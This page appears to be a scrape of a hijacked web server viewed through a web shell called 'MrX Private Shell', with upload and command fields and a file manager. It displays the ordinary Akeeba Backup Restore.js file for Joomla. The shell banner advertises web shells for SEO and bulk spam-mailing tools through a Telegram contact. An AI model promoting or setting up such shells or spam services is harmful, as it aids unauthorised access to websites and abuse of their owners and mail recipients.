__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */
"use strict";

if (typeof akeebabackup == "undefined")
{
    var akeebabackup = {};
}

if (typeof akeebabackup.Restore == "undefined")
{
    akeebabackup.Restore = {
        lastResponseSeconds: 0,
        timer:               0,
        errorCallback:       null,
        statistics:          {
            inbytes:  0,
            outbytes: 0,
            files:    0
        },
        factory:             null
    };

}

/**
 * Callback script for AJAX errors
 * @param msg
 * @return
 */
akeebabackup.Restore.errorCallbackDefault = function (msg)
{
    document.getElementById("restoration-progress").style.display = "none";
    document.getElementById("restoration-error").style.display    = "block";
    document.getElementById("backup-error-message").innerHTML     = msg;
};

/**
 * Performs an AJAX request to the restoration script (restore.php)
 *
 * @param data
 * @param successCallback
 * @param errorCallback
 *
 * @return
 */
akeebabackup.Restore.doAjax = function (data, successCallback, errorCallback)
{
    var json = JSON.stringify(data);

    var post_data = {
        json: json
    };

    // Authentication method for Akeeba Restore 5.4.0 or later: send the password
    var restorationPassword = Joomla.getOptions("akeebabackup.Restore.password", "");

    if (restorationPassword.length > 0)
    {
        post_data.password = restorationPassword;
    }

    // Make the request skip the cache appending the microsecond timestamp an extra, ignored query string parameter.
    var now                     = new Date().getTime() / 1000;
    var s                       = parseInt(now, 10);
    post_data._cacheBustingJunk = Math.round((now - s) * 1000);

    var structure =
            {
                type:    "POST",
                url:     Joomla.getOptions("akeebabackup.Restore.ajaxURL", ""),
                cache:   false,
                data:    post_data,
                timeout: 600000,
                success: function (msg)
                         {
                             // Initialize
                             var junk    = null;
                             var message = "";

                             // Get rid of junk before the data
                             var valid_pos = msg.indexOf("###");

                             if (valid_pos == -1)
                             {
                                 // Valid data not found in the response
                                 msg = "Invalid AJAX data: " + msg;

                                 if (errorCallback == null)
                                 {
                                     if (akeebabackup.Restore.errorCallback != null)
                                     {
                                         akeebabackup.Restore.errorCallback(msg);
                                     }
                                     else
                                     {
                                         akeebabackup.Restore.errorCallbackDefault(msg);
                                     }
                                 }
                                 else
                                 {
                                     errorCallback(msg);
                                 }

                                 return;
                             }
                             else if (valid_pos != 0)
                             {
                                 // Data is prefixed with junk
                                 junk    = msg.substr(0, valid_pos);
                                 message = msg.substr(valid_pos);
                             }
                             else
                             {
                                 message = msg;
                             }

                             message = message.substr(3); // Remove triple hash in the beginning

                             // Get of rid of junk after the data
                             valid_pos = message.lastIndexOf("###");
                             message   = message.substr(0, valid_pos); // Remove triple hash in the end


                             try
                             {
                                 var data = JSON.parse(message);
                             }
                             catch (err)
                             {
                                 var errorMessage = err.message + "\n<br/>\n<pre>\n" + message + "\n</pre>";
                                 if (errorCallback == null)
                                 {
                                     if (akeebabackup.Restore.errorCallback != null)
                                     {
                                         akeebabackup.Restore.errorCallback(errorMessage);
                                     }
                                     else
                                     {
                                         akeebabackup.Restore.errorCallbackDefault(errorMessage);
                                     }
                                 }
                                 else
                                 {
                                     errorCallback(errorMessage);
                                 }
                                 return;
                             }

                             // Call the callback function
                             successCallback(data);
                         },
                error:   function (Request, textStatus, errorThrown)
                         {
                             var text    = Request.responseText ? Request.responseText : "";
                             var message = "<strong>AJAX Loading Error</strong><br/>HTTP Status: " + Request.status + " (" +
                                 Request.statusText + ")<br/>";

                             message = message + "Internal status: " + textStatus + "<br/>";
                             message = message + "XHR ReadyState: " + Request.readyState + "<br/>";
                             message =
                                 message + "Raw server response:<br/>" + akeebabackup.System.sanitizeErrorMessage(text);


                             if (errorCallback == null)
                             {
                                 if (akeebabackup.Restore.errorCallback != null)
                                 {
                                     akeebabackup.Restore.errorCallback(message);
                                 }
                                 else
                                 {
                                     akeebabackup.Restore.errorCallbackDefault(message);
                                 }
                             }
                             else
                             {
                                 errorCallback(message);
                             }
                         }
            };

    akeebabackup.Ajax.ajax(structure);
};

/**
 * Starts the timer for the last response timer
 *
 * @param   max_allowance  Maximum time allowance in seconds
 * @param   bias           Runtime bias in %
 */
akeebabackup.Restore.startTimeoutBar = function (max_allowance, bias)
{
    akeebabackup.Restore.resetTimeoutBar();

    akeebabackup.Restore.timer = setInterval(function ()
    {
        akeebabackup.Restore.lastResponseSeconds++;
        var lastText = Joomla.Text._("COM_AKEEBABACKUP_BACKUP_TEXT_LASTRESPONSE")
                             .replace("%s", akeebabackup.Restore.lastResponseSeconds.toFixed(0));

        try
        {
            document.getElementById("response-timer").querySelector("div.text").textContent = lastText;
        }
        catch (e)
        {
        }
    }, 1000);
};

/**
 * Resets the last response timer bar
 */
akeebabackup.Restore.resetTimeoutBar = function ()
{
    akeebabackup.Restore.lastResponseSeconds = 0;

    if (akeebabackup.Restore.timer == 0)
    {
        return;
    }

    clearInterval(akeebabackup.Restore.timer);
    akeebabackup.Restore.timer = 0;

    var timerText = document.getElementById("response-timer").querySelector("div.text");
    var lastText  = Joomla.Text._("COM_AKEEBABACKUP_BACKUP_TEXT_LASTRESPONSE").replace("%s", "0");

    try
    {
        timerText.textContent = lastText;
    }
    catch (e)
    {
    }
};

/**
 * Pings the restoration script (making sure its executable!!)
 * @return
 */
akeebabackup.Restore.pingRestoration = function ()
{
    // Reset variables
    akeebabackup.Restore.statistics.inbytes  = 0;
    akeebabackup.Restore.statistics.outbytes = 0;
    akeebabackup.Restore.statistics.files    = 0;

    // Do AJAX post
    var post = {task: "ping"};
    akeebabackup.Restore.startTimeoutBar(5000, 80);
    akeebabackup.Restore.doAjax(post, function (data)
    {
        akeebabackup.Restore.start(data);
    });
};

/**
 * Starts the restoration
 * @return
 */
akeebabackup.Restore.start = function ()
{
    // Reset variables
    akeebabackup.Restore.statistics.inbytes  = 0;
    akeebabackup.Restore.statistics.outbytes = 0;
    akeebabackup.Restore.statistics.files    = 0;

    // Do AJAX post
    var post = {task: "startRestore"};
    akeebabackup.Restore.startTimeoutBar(5000, 80);
    akeebabackup.Restore.doAjax(post, function (data)
    {
        akeebabackup.Restore.step(data);
    });
};

/**
 * Steps through the restoration
 * @param data
 * @return
 */
akeebabackup.Restore.step = function (data)
{
    akeebabackup.Restore.resetTimeoutBar();

    if (data.status == false)
    {
        // handle failure
        akeebabackup.Restore.errorCallbackDefault(data.message);
    }
    else
    {
        if (data.done)
        {
            akeebabackup.Restore.factory                                    = data.factory;
            // handle finish
            document.getElementById("restoration-progress").style.display   = "none";
            document.getElementById("restoration-extract-ok").style.display = "block";
        }
        else
        {
            // Add data to variables
            akeebabackup.Restore.statistics.inbytes += data.bytesIn;
            akeebabackup.Restore.statistics.outbytes += data.bytesOut;
            akeebabackup.Restore.statistics.files += data.files;

            // Display data
            try
            {
                document.getElementById("extbytesin").textContent  = akeebabackup.Restore.statistics.inbytes;
                document.getElementById("extbytesout").textContent = akeebabackup.Restore.statistics.outbytes;
                document.getElementById("extfiles").textContent    = akeebabackup.Restore.statistics.files;
            }
            catch (e)
            {
            }

            // Do AJAX post
            var post = {
                task:    "stepRestore",
                factory: data.factory
            };
            akeebabackup.Restore.startTimeoutBar(5000, 80);
            akeebabackup.Restore.doAjax(post, function (data)
            {
                akeebabackup.Restore.step(data);
            });
        }
    }
};

/**
 * Finalizes the restoration.
 *
 * @param {Event} e
 *
 * @returns {boolean}  Returns false to cancel the button click
 */
akeebabackup.Restore.finalize = function (e)
{
    e.preventDefault();

    // Do AJAX post
    var post = {task: "finalizeRestore", factory: akeebabackup.Restore.factory};

    akeebabackup.Restore.startTimeoutBar(5000, 80);
    akeebabackup.Restore.doAjax(post, function (data)
    {
        akeebabackup.Restore.finished(data);
    });

    return false;
};

akeebabackup.Restore.finished = function ()
{
    // We're just finished - return to the back-end Control Panel
    window.location = Joomla.getOptions("akeebabackup.Restore.mainURL", window.location);
};

/**
 * Opens a new window / tab with the restoration script
 *
 * @param {Event} e
 *
 * @returns {boolean}  Returns false to cancel the button click event
 */
akeebabackup.Restore.runInstaller = function (e)
{
    e.preventDefault();

    window.open("../installation/index.php", "abiinstaller");

    var runInstaller = document.getElementById("restoration-runinstaller");
    var finalize     = document.getElementById("restoration-finalize");

    runInstaller.className = "btn btn-outline-dark btn-sm me-3";
    finalize.style.display = "block";

    return false;
};

akeebabackup.Restore.restoreDefaultOptions = function ()
{
    var jpskey = document.getElementById("jps_key");

    if (jpskey)
    {
        jpskey.value = "ThisIsADummyStringToWorkAroundChrome";
        jpskey.value = "";
    }
};

akeebabackup.Restore.onProcEngineChange = function (e)
{
    var elProcEngine = document.getElementById("procengine");

    if (elProcEngine.options[elProcEngine.selectedIndex].value === "direct")
    {
        document.getElementById("ftpOptions").style.display = "none";
        document.getElementById("testftp").style.display    = "none";
    }
    else
    {
        document.getElementById("ftpOptions").style.display = "block";
        document.getElementById("testftp").style.display    = "inline-block";
    }
};

akeebabackup.System.documentReady(function ()
{
    if (Joomla.getOptions("akeebabackup.Restore.inMainRestoration", false))
    {
        // Actual restoration page – hook the buttons and start extracting the archive

        document.getElementById("restoration-runinstaller")
                .addEventListener("click", akeebabackup.Restore.runInstaller);
        document.getElementById("restoration-finalize")
                .addEventListener("click", akeebabackup.Restore.finalize);

        akeebabackup.Restore.pingRestoration();

        return;
    }

    // Restoration setup page – Hook the buttons and dropdowns
    document.getElementById("backup-start")
            .addEventListener("click", function (e)
            {
                e.preventDefault();

                document.adminForm.submit();

                return false;
            });

    document.getElementById("testftp")
            .addEventListener("click", function (e)
            {
                e.preventDefault();

                akeebabackup.Configuration.FtpTest.testConnection('testftp', 'ftp');

                return false;
            });

    document.getElementById('procengine')
            .addEventListener('change', akeebabackup.Restore.onProcEngineChange);


    akeebabackup.Restore.onProcEngineChange();

    // Work around Safari which ignores autocomplete=off
    setTimeout(akeebabackup.Restore.restoreDefaultOptions, 500);
});

Filemanager

Name Type Size Permission Actions
Backup.js File 18.73 KB 0664
Backup.min.js File 10.27 KB 0664
Browser.js File 1018 B 0664
Browser.min.js File 647 B 0664
Configuration.js File 75.16 KB 0664
Configuration.min.js File 33.87 KB 0664
ConfigurationWizard.js File 13.3 KB 0664
ConfigurationWizard.min.js File 7.78 KB 0664
ControlPanel.js File 2.92 KB 0664
ControlPanel.min.js File 1.51 KB 0664
DatabaseFilters.js File 16.6 KB 0664
DatabaseFilters.min.js File 7.96 KB 0664
Discover.js File 614 B 0664
Discover.min.js File 326 B 0664
FileFilters.js File 31.18 KB 0664
FileFilters.min.js File 14.23 KB 0664
IncludeFolders.js File 13.03 KB 0664
IncludeFolders.min.js File 6.27 KB 0664
Log.js File 1.06 KB 0664
Log.min.js File 702 B 0664
Manage.js File 5.55 KB 0664
Manage.min.js File 3.39 KB 0664
MultipleDatabases.js File 16.75 KB 0664
MultipleDatabases.min.js File 8.19 KB 0664
RegExDatabaseFilters.js File 10.87 KB 0664
RegExDatabaseFilters.min.js File 5.49 KB 0664
RegExFileFilters.js File 11.11 KB 0664
RegExFileFilters.min.js File 5.67 KB 0664
RemoteFiles.js File 1.75 KB 0664
RemoteFiles.min.js File 876 B 0664
Restore.js File 14.35 KB 0664
Restore.min.js File 6.28 KB 0664
S3Import.js File 2.9 KB 0664
S3Import.min.js File 1.69 KB 0664
System.js File 43.92 KB 0664
System.min.js File 11.09 KB 0664
Transfer.js File 18.97 KB 0664
Transfer.min.js File 12.98 KB 0664
Upload.js File 1.11 KB 0664
Upload.min.js File 567 B 0664
WebPush.js File 11.81 KB 0664
WebPush.min.js File 7.77 KB 0664
WebPushWorker.js File 479 B 0664
WebPushWorker.min.js File 256 B 0664
Filemanager